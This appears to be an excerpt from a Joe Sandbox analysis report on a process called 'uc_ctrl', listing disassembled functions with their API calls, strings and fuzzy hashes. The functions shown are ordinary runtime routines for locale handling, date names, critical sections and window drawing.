Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: iswctype$localeconv
String ID: 0123456789abcdefABCDEF
API String ID: 3516882852-3460774142
Opcode ID: 5866c14bfec2b75509f08ac1f13fcd880ab130a7a1eb1363e9c22315b48b28d9
Instruction ID: b81d418ffd93c4a2641d255a470ccd8de9339ad482fc3657a106e2c8b4c10ad0
Opcode Fuzzy Hash: 5866c14bfec2b75509f08ac1f13fcd880ab130a7a1eb1363e9c22315b48b28d9
Instruction Fuzzy Hash: 40A1E371E25229DFCB14CFA9D88069DB7B4FF49318F24416AE895EB748E738D841CB50

Function 6C6AAD75 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 161memorywindowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C6AAD7F
GlobalAlloc.KERNEL32(00000040,0000000C), ref: 6C6AAE08
SendMessageW.USER32 ref: 6C6AAF17

Strings

g, xrefs: 6C6AADF0

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: AllocGlobalH_prolog3MessageSend
String ID: g
API String ID: 3600573425-30677878
Opcode ID: 4bbfe931b7d280bd2cf9257a9a990ac6603fac6d47f98a7713e9dfe4033fb373
Instruction ID: 23752f6e5602c31b48408c1f5f1c36b112014f570000d2fc1274d5c58cf54c3b
Opcode Fuzzy Hash: 4bbfe931b7d280bd2cf9257a9a990ac6603fac6d47f98a7713e9dfe4033fb373
Instruction Fuzzy Hash: 2F514671A002199FDF14CFA4C989BEEBBB6BF08714F104159E515BB790DB70A905CFA4

Function 6C6AEF6B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C6AEF72
GetClientRect.USER32(6C7E6178,?), ref: 6C6AEFC1

Part of subcall function 6C688B2B: GetScrollPos.USER32(?,00000000), ref: 6C688B56

Part of subcall function 6C681510: GetModuleHandleW.KERNEL32(uxtheme.dll), ref: 6C68151F
Part of subcall function 6C681510: GetProcAddress.KERNEL32(00000000,BufferedPaintInit), ref: 6C68152F
Part of subcall function 6C681510: EncodePointer.KERNEL32(00000000), ref: 6C681538

Part of subcall function 6C685C47: CreateCompatibleDC.GDI32(?), ref: 6C685C58

CreateCompatibleBitmap.GDI32(?,?,?), ref: 6C6AF070

Strings

xa~l, xrefs: 6C6AEF9E

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: CompatibleCreate$AddressBitmapClientEncodeH_prolog3HandleModulePointerProcRectScroll
String ID: xa~l
API String ID: 1015973060-862097267
Opcode ID: 63cddba175aa8a08c92bf0ec4c300f2f67b789e18c97a6baf72aea860910b291
Instruction ID: 9dcee64f1c78ec59eed3eacbc0c597707513f3b01e3dee89c2dabc06436c570f
Opcode Fuzzy Hash: 63cddba175aa8a08c92bf0ec4c300f2f67b789e18c97a6baf72aea860910b291
Instruction Fuzzy Hash: 47414EB0A01606AFDB00DF66C994AA9FBB4FF09308B00852DD41997E51DB70E955CFAA

Function 6C948B2C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C948B33
_Getcvt.MSVCP140(?,00000034,6C9421F7,?,00000001,0000003C,6C9499D2,00000000), ref: 6C948B41

Part of subcall function 6C92F0F0: ___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,?,?,?,6C92D26D,?), ref: 6C92F107
Part of subcall function 6C92F0F0: ___mb_cur_max_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6C92D26D,?), ref: 6C92F111
Part of subcall function 6C92F0F0: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6C92D26D,?), ref: 6C92F11A
Part of subcall function 6C92F0F0: _ismbblead.API-MS-WIN-CRT-MULTIBYTE-L1-1-0(00000000,?,6C92D26D,?), ref: 6C92F130

localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0(?,00000034,6C9421F7,?,00000001,0000003C,6C9499D2,00000000), ref: 6C948B50

Part of subcall function 6C93B342: calloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,00000001,?,00000000,6C94C413,0000000B,00000034,6C94B839,?,00000004,6C94B7F1,00000000,00000000,0000003C,6C94D869,?), ref: 6C93B358

Strings

$+xv, xrefs: 6C948C25

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: GetcvtH_prolog3_catch___lc_codepage_func___lc_locale_name_func___mb_cur_max_func_ismbbleadcalloclocaleconv
String ID: $+xv
API String ID: 3591613707-1686923651
Opcode ID: 2e91b73141fc957cb11a9d30ccb61db015ed98fc4a3d542722e5724394f83406
Instruction ID: 8598eb6525144c05fba772d9595e9de39e395ba8c52c291bb2f410658945196f
Opcode Fuzzy Hash: 2e91b73141fc957cb11a9d30ccb61db015ed98fc4a3d542722e5724394f83406
Instruction Fuzzy Hash: 1631AEB05047808EDB19CF2484D0267BBF8AF69304B14859ED89ACFE56C774E945CB94

Function 6C94A5D6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

_Getcvt.MSVCP140(?,?,?,00000000), ref: 6C94A5ED

Part of subcall function 6C92F0F0: ___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,?,?,?,6C92D26D,?), ref: 6C92F107
Part of subcall function 6C92F0F0: ___mb_cur_max_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6C92D26D,?), ref: 6C92F111
Part of subcall function 6C92F0F0: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6C92D26D,?), ref: 6C92F11A
Part of subcall function 6C92F0F0: _ismbblead.API-MS-WIN-CRT-MULTIBYTE-L1-1-0(00000000,?,6C92D26D,?), ref: 6C92F130

?_Getdays@_Locinfo@std@@QBEPBDXZ.MSVCP140(?,?,?,00000000), ref: 6C94A603

Part of subcall function 6C9316B0: _Getdays.API-MS-WIN-CRT-TIME-L1-1-0 ref: 6C9316B4
Part of subcall function 6C9316B0: ??4?$_Yarn@D@std@@QAEAAV01@PBD@Z.MSVCP140(00000000), ref: 6C9316C4
Part of subcall function 6C9316B0: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000), ref: 6C9316CA

Part of subcall function 6C93E401: _Mbrtowc.MSVCP140(6C9496D5,false,?,00000000,6C9496D5,?,00000000,?,?,6C947141), ref: 6C93E440
Part of subcall function 6C93E401: calloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,00000002,?,00000000,?,?,6C947141), ref: 6C93E45A
Part of subcall function 6C93E401: _Mbrtowc.MSVCP140(00000000,false,00000001,00000000,6C9496D5), ref: 6C93E483

?_Getmonths@_Locinfo@std@@QBEPBDXZ.MSVCP140(?,?,?,00000000), ref: 6C94A61B

Part of subcall function 6C9316F0: _Getmonths.API-MS-WIN-CRT-TIME-L1-1-0 ref: 6C9316F4
Part of subcall function 6C9316F0: ??4?$_Yarn@D@std@@QAEAAV01@PBD@Z.MSVCP140(00000000), ref: 6C931704
Part of subcall function 6C9316F0: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000), ref: 6C93170A

Part of subcall function 6C93E401: Concurrency::cancel_current_task.LIBCPMT(6C947141), ref: 6C93E4A8
Part of subcall function 6C93E401: calloc.API-MS-WIN-CRT-HEAP-L1-1-0(-00000001,00000002,?,00000000,?,6C948C7E,?,?,00000000), ref: 6C93E4CD
Part of subcall function 6C93E401: memcpy.VCRUNTIME140(00000000,?,00000000,00000001,0000003C,6C9496D5,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6C93E4E1

Strings

:AM:am:PM:pm, xrefs: 6C94A629

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??4?$_D@std@@Locinfo@std@@MbrtowcV01@Yarn@callocfree$Concurrency::cancel_current_taskGetcvtGetdaysGetdays@_GetmonthsGetmonths@____lc_codepage_func___lc_locale_name_func___mb_cur_max_func_ismbbleadmemcpy
String ID: :AM:am:PM:pm
API String ID: 2913087984-1966799564
Opcode ID: cfd1beee34540454674a678860bf2fa700895c15f029d9f70789bf09ee2c8c6e
Instruction ID: e01c3e2619710fc0f77116e004a90039a7027f420ec7b3a2b9fe920b5256e2e5
Opcode Fuzzy Hash: cfd1beee34540454674a678860bf2fa700895c15f029d9f70789bf09ee2c8c6e
Instruction Fuzzy Hash: 8EF0A972A047145B8714DEB9988989BF3D8EB65224B10892EE85987780EF75ED048790

Function 00778487 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 007784BD
__scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 007784C3

Strings

csm, xrefs: 00778498

Memory Dump Source

Source File: 00000010.00000002.3908833018.0000000000771000.00000020.00000001.01000000.00000009.sdmp, Offset: 00770000, based on PE: true

Associated: 00000010.00000002.3908699077.0000000000770000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3908989197.000000000077A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909087647.0000000000781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909199971.0000000000782000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_770000_uc_ctrl.jbxd

Similarity

API ID: __scrt_initialize_thread_safe_statics_platform_specificterminate
String ID: csm
API String ID: 2780679314-1018135373
Opcode ID: 2a488802dea6c0cf8018132db67e0aeef90d423f02ac9b865997431aa4c7a8da
Instruction ID: 139b8bb85249f3848fa775484268d5e973936f0fa4fc28d5185f7bc220f48c8c
Opcode Fuzzy Hash: 2a488802dea6c0cf8018132db67e0aeef90d423f02ac9b865997431aa4c7a8da
Instruction Fuzzy Hash: 6BF04F71A80209DFCF84EFA8D84DB9D77F1AB08350F208445F50CEB282DB699C809B26

Function 6C948C50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

_Getcvt.MSVCP140(?,?,?,00000000), ref: 6C948C5F

Part of subcall function 6C92F0F0: ___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,?,?,?,6C92D26D,?), ref: 6C92F107
Part of subcall function 6C92F0F0: ___mb_cur_max_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6C92D26D,?), ref: 6C92F111
Part of subcall function 6C92F0F0: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6C92D26D,?), ref: 6C92F11A
Part of subcall function 6C92F0F0: _ismbblead.API-MS-WIN-CRT-MULTIBYTE-L1-1-0(00000000,?,6C92D26D,?), ref: 6C92F130

?_W_Getdays@_Locinfo@std@@QBEPBGXZ.MSVCP140(?,?,00000000), ref: 6C948C72

Part of subcall function 6C931780: _W_Getdays.API-MS-WIN-CRT-TIME-L1-1-0 ref: 6C931784
Part of subcall function 6C931780: ??4?$_Yarn@_W@std@@QAEAAV01@PB_W@Z.MSVCP140(00000000), ref: 6C931794
Part of subcall function 6C931780: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000), ref: 6C93179A

Part of subcall function 6C93E4AE: calloc.API-MS-WIN-CRT-HEAP-L1-1-0(-00000001,00000002,?,00000000,?,6C948C7E,?,?,00000000), ref: 6C93E4CD
Part of subcall function 6C93E4AE: memcpy.VCRUNTIME140(00000000,?,00000000,00000001,0000003C,6C9496D5,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6C93E4E1

?_W_Getmonths@_Locinfo@std@@QBEPBGXZ.MSVCP140(?,?,00000000), ref: 6C948C84

Part of subcall function 6C9317C0: _W_Getmonths.API-MS-WIN-CRT-TIME-L1-1-0 ref: 6C9317C4
Part of subcall function 6C9317C0: ??4?$_Yarn@_W@std@@QAEAAV01@PB_W@Z.MSVCP140(00000000), ref: 6C9317D4
Part of subcall function 6C9317C0: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000), ref: 6C9317DA

Part of subcall function 6C93E4AE: Concurrency::cancel_current_task.LIBCPMT(?,?,00000000), ref: 6C93E4EF
Part of subcall function 6C93E4AE: __EH_prolog3.LIBCMT ref: 6C93E507
Part of subcall function 6C93E4AE: new.LIBCMT ref: 6C93E52F
Part of subcall function 6C93E4AE: ??0?$ctype@_W@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(?,?,00000010,?,?,00000000), ref: 6C93E543
Part of subcall function 6C93E4AE: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,00000010,?,?,00000000), ref: 6C93E553
Part of subcall function 6C93E4AE: ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,00000010,?,?,00000000), ref: 6C93E572
Part of subcall function 6C93E4AE: new.LIBCMT ref: 6C93E58B
Part of subcall function 6C93E4AE: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,00000000), ref: 6C93E5A4
Part of subcall function 6C93E4AE: ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,00000000), ref: 6C93E5C3
Part of subcall function 6C93E4AE: new.LIBCMT ref: 6C93E5DC
Part of subcall function 6C93E4AE: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6C93E5F5
Part of subcall function 6C93E4AE: ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,00000000), ref: 6C93E614
Part of subcall function 6C93E4AE: new.LIBCMT ref: 6C93E629

Part of subcall function 6C93E4AE: ??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,?,?,00000000), ref: 6C93E561
Part of subcall function 6C93E4AE: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,00000000), ref: 6C93E5B2
Part of subcall function 6C93E4AE: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6C93E603
Part of subcall function 6C93E4AE: ??Bid@locale@std@@QAEIXZ.MSVCP140(00000018,?,?,?,?,?,?,?,?,?,00000000), ref: 6C93E65A
Part of subcall function 6C93E4AE: ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6C93E679
Part of subcall function 6C93E4AE: new.LIBCMT ref: 6C93E68E
Part of subcall function 6C93E4AE: _Getcoll.MSVCP140(?,?,?,?,?,?,?,?,00000000), ref: 6C93E6AD
Part of subcall function 6C93E4AE: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,00000000), ref: 6C93E6C1
Part of subcall function 6C93E4AE: ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6C93E6E0
Part of subcall function 6C93E4AE: new.LIBCMT ref: 6C93E6F5
Part of subcall function 6C93E4AE: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C93E70E
Part of subcall function 6C93E4AE: ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C93E72D
Part of subcall function 6C93E4AE: new.LIBCMT ref: 6C93E746
Part of subcall function 6C93E4AE: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C93E75F

Strings

:AM:am:PM:pm, xrefs: 6C948C90

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: Bid@locale@std@@$Addfac@_Locimp@locale@std@@Locimp_V123@Vfacet@23@$W@std@@$??4?$_Locinfo@std@@V01@Yarn@_free$??0?$ctype@_Concurrency::cancel_current_taskGetcollGetcvtGetdaysGetdays@_GetmonthsGetmonths@_H_prolog3Locinfo@1@___lc_codepage_func___lc_locale_name_func___mb_cur_max_func_ismbbleadcallocmemcpy
String ID: :AM:am:PM:pm
API String ID: 1405456877-1966799564
Opcode ID: b53bfb4c873a494ccb90cbc27d32560c1d607b045682718bf2917ea5ce146a99
Instruction ID: 2db50339de29e9d8140b6939f2e96114ff84167332ccda28223c3ed471539ef3
Opcode Fuzzy Hash: b53bfb4c873a494ccb90cbc27d32560c1d607b045682718bf2917ea5ce146a99
Instruction Fuzzy Hash: 20F0BE32A003145BCB18AE74948989A7399ABB8634700856AE8198FB44EF74DC4887D0

Function 00778680 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00781474,?,00000000,?,00776580,007817EC,00774BBF,001F419D,?,?,00000000,00000000,00779728,000000FF,?,00772370), ref: 0077868B
LeaveCriticalSection.KERNEL32(00781474,?,00000000,?,00776580,007817EC,00774BBF,001F419D,?,?,00000000,00000000,00779728,000000FF,?,00772370), ref: 007786C8

Strings

p#w, xrefs: 00778691

Memory Dump Source

Source File: 00000010.00000002.3908833018.0000000000771000.00000020.00000001.01000000.00000009.sdmp, Offset: 00770000, based on PE: true

Associated: 00000010.00000002.3908699077.0000000000770000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3908989197.000000000077A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909087647.0000000000781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909199971.0000000000782000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_770000_uc_ctrl.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: p#w
API String ID: 3168844106-3682083516
Opcode ID: 7fa4865344e09fe0f98d2d4b233ce5d39c19ec7874847b81046fe664e59c3b6d
Instruction ID: 2992cd9bc0e853877c34aeb22048f026a2d09c4fb01e8563a98575b74aeea3d9
Opcode Fuzzy Hash: 7fa4865344e09fe0f98d2d4b233ce5d39c19ec7874847b81046fe664e59c3b6d
Instruction Fuzzy Hash: DEF0E230580200EFCB205F18DC48A7877B8FB817B0F24862DE65D8B2E1DB3C1882CB12

Function 6C9315B0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

?_Locinfo_Addcats@_Locinfo@std@@SAAAV12@PAV12@HPBD@Z.MSVCP140(?,?,00000000), ref: 6C9315C3

Part of subcall function 6C9382E0: setlocale.API-MS-WIN-CRT-LOCALE-L1-1-0(00000000,?,00000000,?,?,?,6C9382D1,?,?,?,00000000,?,?,?,?), ref: 6C938329
Part of subcall function 6C9382E0: ??4?$_Yarn@D@std@@QAEAAV01@PBD@Z.MSVCP140(00000000,6C9382D1,?,?,?,00000000,?,?,?,?), ref: 6C938360

std::bad_exception::bad_exception.LIBCMT ref: 6C9315D9
_CxxThrowException.VCRUNTIME140(00000000,6C963B5C,bad locale name), ref: 6C9315E7

Strings

bad locale name, xrefs: 6C9315D1

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: V12@$??4?$_Addcats@_D@std@@ExceptionLocinfo@std@@Locinfo_ThrowV01@Yarn@setlocalestd::bad_exception::bad_exception
String ID: bad locale name
API String ID: 561226953-1405518554
Opcode ID: ca8c80d0acb78bfbe68875d4d80c78d11601849523d3cd08bb3e05c0ff900ac0
Instruction ID: bbbb962ea12f5bbd3b7046826b4bfd7dc773084e085dd7cb38c175ea825ad5d7
Opcode Fuzzy Hash: ca8c80d0acb78bfbe68875d4d80c78d11601849523d3cd08bb3e05c0ff900ac0
Instruction Fuzzy Hash: AAE0923980010CA7CF14DFB1D840EC87378EB20308F509965EA184BE50E732E229CB56

Function 6C9316B0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

_Getdays.API-MS-WIN-CRT-TIME-L1-1-0 ref: 6C9316B4
??4?$_Yarn@D@std@@QAEAAV01@PBD@Z.MSVCP140(00000000), ref: 6C9316C4

Part of subcall function 6C934B40: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,?,6C93B615,00000000,?,?,?), ref: 6C934B55
Part of subcall function 6C934B40: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000000,?,6C93B615,00000000,?,?,?), ref: 6C934B75
Part of subcall function 6C934B40: memcpy.VCRUNTIME140(00000000,?,?,00000000,?,6C93B615,00000000,?,?,?), ref: 6C934B85

free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000), ref: 6C9316CA

Strings

:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday, xrefs: 6C9316E3

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$??4?$_D@std@@GetdaysV01@Yarn@mallocmemcpy
String ID: :Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday
API String ID: 678222246-3283725177
Opcode ID: db1dc333a6ad8fc583c3dd5a4bff22f275eb237ea4c0a1823e635784d7025575
Instruction ID: 286ef422ac335bfa09cf60959838fc211be0a091fdc6f4b409a7a6cd720d98d8
Opcode Fuzzy Hash: db1dc333a6ad8fc583c3dd5a4bff22f275eb237ea4c0a1823e635784d7025575
Instruction Fuzzy Hash: 49E0203130672087C3204759E50478BB7FC9F83B1C715552DE45ED3D54DB30E804C650

Function 6C9316F0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

_Getmonths.API-MS-WIN-CRT-TIME-L1-1-0 ref: 6C9316F4
??4?$_Yarn@D@std@@QAEAAV01@PBD@Z.MSVCP140(00000000), ref: 6C931704

Part of subcall function 6C934B40: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,?,6C93B615,00000000,?,?,?), ref: 6C934B55
Part of subcall function 6C934B40: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000000,?,6C93B615,00000000,?,?,?), ref: 6C934B75
Part of subcall function 6C934B40: memcpy.VCRUNTIME140(00000000,?,?,00000000,?,6C93B615,00000000,?,?,?), ref: 6C934B85

free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000), ref: 6C93170A

Strings

:Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:December, xrefs: 6C931723

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$??4?$_D@std@@GetmonthsV01@Yarn@mallocmemcpy
String ID: :Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:December
API String ID: 865066547-4232081075
Opcode ID: 3b5a7ed2cf7ad432c6a53d9f77d520c3d3aab860920ee72f3ac8df554c29357e
Instruction ID: 3e9a6e8ee661a99853c9776452f01a54290c93392c861976e4b99fdd3b960e14
Opcode Fuzzy Hash: 3b5a7ed2cf7ad432c6a53d9f77d520c3d3aab860920ee72f3ac8df554c29357e
Instruction Fuzzy Hash: 8BE0D8352056208BC3244629F448B9777F8AB83A64764692DE05BC3A14DB30D80ACB00

Function 6C931780 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

_W_Getdays.API-MS-WIN-CRT-TIME-L1-1-0 ref: 6C931784
